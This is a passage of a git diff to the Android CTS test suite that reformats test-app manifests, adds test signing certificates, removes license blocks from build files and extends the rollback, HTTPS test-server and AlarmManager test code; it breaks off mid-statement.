+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
index f030c3f..a184b0e 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.B"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App B2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv3.xml b/libs/install/testapp/Bv3.xml
new file mode 100644
index 0000000..61ef4e70
--- /dev/null
+++ b/libs/install/testapp/Bv3.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="3"
+     android:versionName="3.0">
+
+
+    <uses-sdk android:minSdkVersion="19"/>
+
+    <application android:label="Test App B3">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index edb69f9..63ca6dc 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -16,20 +16,21 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.C"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.C"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App C1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Cv2.xml b/libs/install/testapp/Cv2.xml
new file mode 100644
index 0000000..93e0bfd
--- /dev/null
+++ b/libs/install/testapp/Cv2.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.install.lib.testapp.C"
+     android:versionCode="2"
+     android:versionName="2.0">
+
+
+    <uses-sdk android:minSdkVersion="19"/>
+
+    <application android:label="Test App C2"
+         android:rollbackDataPolicy="wipe">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/signing/Android.bp b/libs/install/testapp/signing/Android.bp
new file mode 100644
index 0000000..15efaa9
--- /dev/null
+++ b/libs/install/testapp/signing/Android.bp
@@ -0,0 +1,9 @@
+android_app_certificate {
+    name: "cts-ec-p256",
+    certificate: "ec-p256",
+}
+
+android_app_certificate {
+    name: "cts-ec-p256_2",
+    certificate: "ec-p256_2",
+}
diff --git a/libs/install/testapp/signing/ec-p256-por-1_2 b/libs/install/testapp/signing/ec-p256-por-1_2
new file mode 100644
index 0000000..509ea3b
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256-por-1_2
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256.pk8 b/libs/install/testapp/signing/ec-p256.pk8
new file mode 100644
index 0000000..f781c30
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256.pk8
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256.x509.pem b/libs/install/testapp/signing/ec-p256.x509.pem
new file mode 100644
index 0000000..06adcfe
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbDCCARGgAwIBAgIJAMoPtk37ZudyMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTYwMzMxMTQ1ODA2WhcNNDMwODE3MTQ1ODA2WjASMRAwDgYD
+VQQDDAdlYy1wMjU2MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEpl8RPSLLSROQ
+gwesMe4roOkTi3hfrGU20U6izpDStL/hlLUM3I4Wn1SnOpke8Pp2MpglvgeMx4J0
+BwPaRLTX66NQME4wHQYDVR0OBBYEFNQTNWi5WzAVizIgceqMQ/9bBczIMB8GA1Ud
+IwQYMBaAFNQTNWi5WzAVizIgceqMQ/9bBczIMAwGA1UdEwQFMAMBAf8wCgYIKoZI
+zj0EAwIDSQAwRgIhAPUEoIZsrvAp9BcULFy3E1THn/zR1kBhjfyk8Z4W23jWAiEA
++O6kgpeZwGytCMbT0tLsBeBXQVTnR+oP27gELLZVqt0=
+-----END CERTIFICATE-----
diff --git a/libs/install/testapp/signing/ec-p256_2.pk8 b/libs/install/testapp/signing/ec-p256_2.pk8
new file mode 100644
index 0000000..5e73f27
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256_2.pk8
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256_2.x509.pem b/libs/install/testapp/signing/ec-p256_2.x509.pem
new file mode 100644
index 0000000..f8e5e65
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256_2.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbTCCAROgAwIBAgIJAIhVvR3SsrIlMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTgwNzEzMTc0MTUxWhcNMjgwNzEwMTc0MTUxWjAUMRIwEAYD
+VQQDDAllYy1wMjU2XzIwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAQdTMoEcq2X
+7jzs7w2pPWK0UMZ4gzOzbnVTzen3SrXfALu6a6lQ5oRh1wu8JxtiFR2tLeK/YgPN
+IHaAHHqdRCLho1AwTjAdBgNVHQ4EFgQUeZHZKwII/ESL9QbU78n/9CjLXl8wHwYD
+VR0jBBgwFoAU1BM1aLlbMBWLMiBx6oxD/1sFzMgwDAYDVR0TBAUwAwEB/zAKBggq
+hkjOPQQDAgNIADBFAiAnaauxtJ/C9TR5xK6SpmMdq/1SLJrLC7orQ+vrmcYwEQIh
+ANJg+x0fF2z5t/pgCYv9JDGfSQWj5f2hAKb+Giqxn/Ce
+-----END CERTIFICATE-----
diff --git a/libs/json/Android.bp b/libs/json/Android.bp
index 0dc0090..59a9f3a 100644
--- a/libs/json/Android.bp
+++ b/libs/json/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "json",
     host_supported: true,
diff --git a/libs/midi/Android.bp b/libs/midi/Android.bp
index 5317ab2..24c951b 100644
--- a/libs/midi/Android.bp
+++ b/libs/midi/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "cts-midi-lib",
 
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index 80eda46..3e4d0a3 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-rollback-lib",
     srcs: ["src/**/*.java"],
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
index 4d8a3b9..c1de522 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
@@ -32,6 +32,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.cts.install.lib.InstallUtils;
 import com.android.cts.install.lib.LocalIntentSender;
 import com.android.cts.install.lib.TestApp;
 
@@ -115,7 +116,8 @@
     }
 
     /**
-     * Commit the given rollback.
+     * Commit the given rollback. This method won't return until the committed session is made
+     * ready or failed. The caller is safe to immediately reboot the device right after the call.
      * @throws AssertionError if the rollback fails.
      */
     public static void rollback(int rollbackId, TestApp... causePackages)
@@ -126,14 +128,20 @@
         }
 
         RollbackManager rm = getRollbackManager();
-        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
+        LocalIntentSender sender = new LocalIntentSender();
+        rm.commitRollback(rollbackId, causes, sender.getIntentSender());
+        Intent result = sender.getResult();
         int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
                 RollbackManager.STATUS_FAILURE);
         if (status != RollbackManager.STATUS_SUCCESS) {
             String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
             throw new AssertionError(message);
         }
+
+        RollbackInfo committed = getCommittedRollbackById(rollbackId);
+        if (committed.isStaged()) {
+            InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        }
     }
 
     /**
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 201cd8d..40977ff 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -13,16 +13,6 @@
 // limitations under the License.
 
 // The library variant that brings in androidx-test transitively
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 java_library {
     name: "ctstestrunner-axt",
 
diff --git a/libs/shim/Android.bp b/libs/shim/Android.bp
index 4f116dd..908cd8e 100644
--- a/libs/shim/Android.bp
+++ b/libs/shim/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-shim-lib",
     host_supported: true,
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
index 56a0921..14b9ed4 100644
--- a/libs/testserver/Android.bp
+++ b/libs/testserver/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-BSD
-    default_applicable_licenses: ["cts_license"],
-}
-
 java_library {
     name: "ctstestserver",
 
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 3e781c3..0d3292b 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -49,6 +49,7 @@
 
 import java.io.BufferedOutputStream;
 import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -59,8 +60,13 @@
 import java.net.Socket;
 import java.net.URI;
 import java.net.URLEncoder;
+import java.security.Key;
+import java.security.KeyFactory;
 import java.security.KeyStore;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.HashMap;
@@ -187,7 +193,7 @@
      * @throws Exception
      */
     public CtsTestServer(Context context, SslMode sslMode) throws Exception {
-        this(context, sslMode, new CtsTrustManager());
+        this(context, sslMode, 0, 0);
     }
 
     /**
@@ -199,6 +205,33 @@
      */
     public CtsTestServer(Context context, SslMode sslMode, X509TrustManager trustManager)
             throws Exception {
+        this(context, sslMode, trustManager, 0, 0);
+    }
+
+    /**
+     * Create and start a local HTTP server instance.
+     * @param context The application context to use for fetching assets.
+     * @param sslMode Whether to use SSL, and if so, what client auth (if any) to use.
+     * @param keyResId Raw resource ID of the server private key to use.
+     * @param certResId Raw resource ID of the server certificate to use.
+     * @throws Exception
+     */
+    public CtsTestServer(Context context, SslMode sslMode, int keyResId, int certResId)
+            throws Exception {
+        this(context, sslMode, new CtsTrustManager(), keyResId, certResId);
+    }
+
+    /**
+     * Create and start a local HTTP server instance.
+     * @param context The application context to use for fetching assets.
+     * @param sslMode Whether to use SSL, and if so, what client auth (if any) to use.
+     * @param trustManager the trustManager
+     * @param keyResId Raw resource ID of the server private key to use.
+     * @param certResId Raw resource ID of the server certificate to use.
+     * @throws Exception
+     */
+    public CtsTestServer(Context context, SslMode sslMode, X509TrustManager trustManager,
+            int keyResId, int certResId) throws Exception {
         mContext = context;
         mAssets = mContext.getAssets();
         mResources = mContext.getResources();
@@ -207,7 +240,12 @@
         mMap = MimeTypeMap.getSingleton();
         mQueries = new Vector<String>();
         mTrustManager = trustManager;
-        mServerThread = new ServerThread(this, mSsl);
+        if (keyResId == 0 && certResId == 0) {
+            mServerThread = new ServerThread(this, mSsl, null, null);
+        } else {
+            mServerThread = new ServerThread(this, mSsl, mResources.openRawResource(keyResId),
+                    mResources.openRawResource(certResId));
+        }
         if (mSsl == SslMode.INSECURE) {
             mServerUri = "http:";
         } else {
@@ -373,11 +411,23 @@
     /**
      * getSetCookieUrl returns a URL that attempts to set the cookie
      * "key=value" when fetched.
-     * @param path a suffix to disambiguate mulitple Cookie URLs.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
      * @param key the key of the cookie.
      * @return the url for a page that attempts to set the cookie.
      */
     public String getSetCookieUrl(String path, String key, String value) {
+        return getSetCookieUrl(path, key, value, null);
+    }
+
+    /**
+     * getSetCookieUrl returns a URL that attempts to set the cookie
+     * "key=value" with the given list of attributes when fetched.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
+     * @param key the key of the cookie
+     * @param attributes the attributes to set
+     * @return the url for a page that attempts to set the cookie.
+     */
+    public String getSetCookieUrl(String path, String key, String value, String attributes) {
         StringBuilder sb = new StringBuilder(getBaseUri());
         sb.append(SET_COOKIE_PREFIX);
         sb.append(path);
@@ -385,6 +435,10 @@
         sb.append(key);
         sb.append("&value=");
         sb.append(value);
+        if (attributes != null) {
+            sb.append("&attributes=");
+            sb.append(attributes);
+        }
         return sb.toString();
     }
 
@@ -697,7 +751,11 @@
             Uri parsedUri = Uri.parse(uriString);
             String key = parsedUri.getQueryParameter("key");
             String value = parsedUri.getQueryParameter("value");
+            String attributes = parsedUri.getQueryParameter("attributes");
             String cookie = key + "=" + value;
+            if (attributes != null) {
+                cookie = cookie + "; " + attributes;
+            }
             response.addHeader("Set-Cookie", cookie);
             response.setEntity(createPage(cookie, cookie));
         } else if (path.startsWith(LINKED_SCRIPT_PREFIX)) {
@@ -899,12 +957,13 @@
             "k1ufZyOOcskeInQge7jzaRfmKg3U94r+spMEvb0AzDQVOKvjjo1ivxMSgFRZaDb/4qw=";
 
         private static final String PASSWORD = "android";
+        private static final char[] EMPTY_PASSWORD = new char[0];
 
         /**
          * Loads a keystore from a base64-encoded String. Returns the KeyManager[]
          * for the result.
          */
-        private static KeyManager[] getKeyManagers() throws Exception {
+        private static KeyManager[] getHardCodedKeyManagers() throws Exception {
             byte[] bytes = Base64.decode(SERVER_KEYS_BKS.getBytes(), Base64.DEFAULT);
             InputStream inputStream = new ByteArrayInputStream(bytes);
 
@@ -919,11 +978,44 @@
             return keyManagerFactory.getKeyManagers();
         }
 
+        private KeyManager[] getKeyManagersFromStreams(InputStream key, InputStream cert)
+                throws Exception {
+            ByteArrayOutputStream os = new ByteArrayOutputStream();
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = key.read(buffer, 0, buffer.length)) != -1) {
+                os.write(buffer, 0, n);
+            }
+            key.close();
+            byte[] keyBytes = os.toByteArray();
+            KeyFactory kf = KeyFactory.getInstance("RSA");
+            Key privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(keyBytes));
 
-        public ServerThread(CtsTestServer server, SslMode sslMode) throws Exception {
+            CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            Certificate[] chain = new Certificate[1];
+            chain[0] = cf.generateCertificate(cert);
+
+            KeyStore keyStore = KeyStore.getInstance("PKCS12");
+            keyStore.load(/*stream=*/null, /*password*/null);
+            keyStore.setKeyEntry("server", privKey, EMPTY_PASSWORD, chain);
+
+            String algorithm = KeyManagerFactory.getDefaultAlgorithm();
+            KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(algorithm);
+            keyManagerFactory.init(keyStore, EMPTY_PASSWORD);
+            return keyManagerFactory.getKeyManagers();
+        }
+
+        ServerThread(CtsTestServer server, SslMode sslMode, InputStream key,
+                InputStream cert) throws Exception {
             super("ServerThread");
             mServer = server;
             mSsl = sslMode;
+            KeyManager[] keyManagers;
+            if (key == null && cert == null) {
+                keyManagers = getHardCodedKeyManagers();
+            } else {
+                keyManagers = getKeyManagersFromStreams(key, cert);
+            }
             int retry = 3;
             while (true) {
                 try {
@@ -931,7 +1023,7 @@
                         mSocket = new ServerSocket(0);
                     } else {  // Use SSL
                         mSslContext = SSLContext.getInstance("TLS");
-                        mSslContext.init(getKeyManagers(), mServer.getTrustManagers(), null);
+                        mSslContext.init(keyManagers, mServer.getTrustManagers(), null);
                         mSocket = mSslContext.getServerSocketFactory().createServerSocket(0);
                         if (mSsl == SslMode.TRUST_ANY_CLIENT) {
                             HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() {
diff --git a/libs/view/Android.bp b/libs/view/Android.bp
index 5eca263..c58c3ca 100644
--- a/libs/view/Android.bp
+++ b/libs/view/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-view-lib",
 
diff --git a/libs/vogar-expect/Android.bp b/libs/vogar-expect/Android.bp
index b94a9ca..536a33e 100644
--- a/libs/vogar-expect/Android.bp
+++ b/libs/vogar-expect/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "vogarexpect",
     host_supported: true,
diff --git a/suite/audio_quality/client/AndroidManifest.xml b/suite/audio_quality/client/AndroidManifest.xml
index 70a6b7e..ad6eca1 100644
--- a/suite/audio_quality/client/AndroidManifest.xml
+++ b/suite/audio_quality/client/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2012 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,23 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.audiotest" >
-<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+     package="com.android.cts.audiotest">
+<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 <uses-permission android:name="android.permission.INTERNET"/>
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
-    <application
-        android:label="@string/app_name" >
-        <activity
-            android:name=".CtsAudioClientActivity"
-            android:label="@string/app_name"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode" >
+    <application android:label="@string/app_name">
+        <activity android:name=".CtsAudioClientActivity"
+             android:label="@string/app_name"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
index dff1431..c6bf63d 100644
--- a/suite/audio_quality/executable/Android.bp
+++ b/suite/audio_quality/executable/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_binary_host {
     name: "cts_audio_quality",
     srcs: ["src/main.cpp"],
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
index b07e628..d1f4ec8 100644
--- a/suite/audio_quality/lib/Android.bp
+++ b/suite/audio_quality/lib/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_host_static {
     name: "libcts_audio_quality",
     srcs: ["**/*.cpp"],
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index 443e995..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_host {
     name: "cts_audio_quality_test",
     srcs: ["*.cpp"],
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index 8e06f00..3f37a7d 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAlarmManagerTestCases",
     defaults: ["cts_defaults"],
@@ -31,6 +27,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-scheduling",
     ],
     platform_apis: true,
 }
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
index 30395c0..8e10be6 100644
--- a/tests/AlarmManager/AndroidManifest.xml
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -17,8 +17,12 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.alarmmanager.cts" >
 
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
     <application android:label="Cts Alarm Manager Test">
         <uses-library android:name="android.test.runner"/>
+
+        <receiver android:name=".AlarmReceiver" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index 4369acc..d4bbeae 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="runtime-hint" value="1m" />
     </test>
 
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/AlarmManager/TEST_MAPPING b/tests/AlarmManager/TEST_MAPPING
new file mode 100644
index 0000000..e80fa11
--- /dev/null
+++ b/tests/AlarmManager/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAlarmManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/AlarmManager/app/Android.bp b/tests/AlarmManager/app/Android.bp
index 52bfc30..29f002c 100644
--- a/tests/AlarmManager/app/Android.bp
+++ b/tests/AlarmManager/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AlarmTestApp",
     defaults: ["cts_support_defaults"],
@@ -23,6 +19,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     dex_preopt: {
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
index f5b04b6..08b42f3 100644
--- a/tests/AlarmManager/app/AndroidManifest.xml
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.alarmmanager.alarmtestapp.cts">
 
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
     <application>
         <receiver android:name=".TestAlarmScheduler"
                   android:exported="true" />
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index 55ea6cf..0e7b8b5 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -26,11 +26,13 @@
     private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
     public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
     public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+    public static final String EXTRA_ID = PACKAGE_NAME + ".extra.ID";
 
     @Override
     public void onReceive(Context context, Intent intent) {
         final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
-        Log.d(TAG, "Alarm expired " + count + " times");
+        final long id = intent.getLongExtra(EXTRA_ID, -1);
+        Log.d(TAG, "Alarm " + id + " expired " + count + " times");
         final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
         reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
         reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
index 35763be..991e165 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
@@ -21,6 +21,7 @@
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.SystemClock;
 import android.util.Log;
 
 /**
@@ -45,9 +46,12 @@
         final AlarmManager am = context.getSystemService(AlarmManager.class);
         final Intent receiverIntent = new Intent(context, TestAlarmReceiver.class);
         receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        final PendingIntent alarmClockSender =
-                PendingIntent.getBroadcast(context, 0, receiverIntent, 0);
-        final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent, 0);
+        final long id = SystemClock.elapsedRealtime();
+        receiverIntent.putExtra(TestAlarmReceiver.EXTRA_ID, id);
+        final PendingIntent alarmClockSender = PendingIntent.getBroadcast(context, 0,
+                receiverIntent, PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+        final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent,
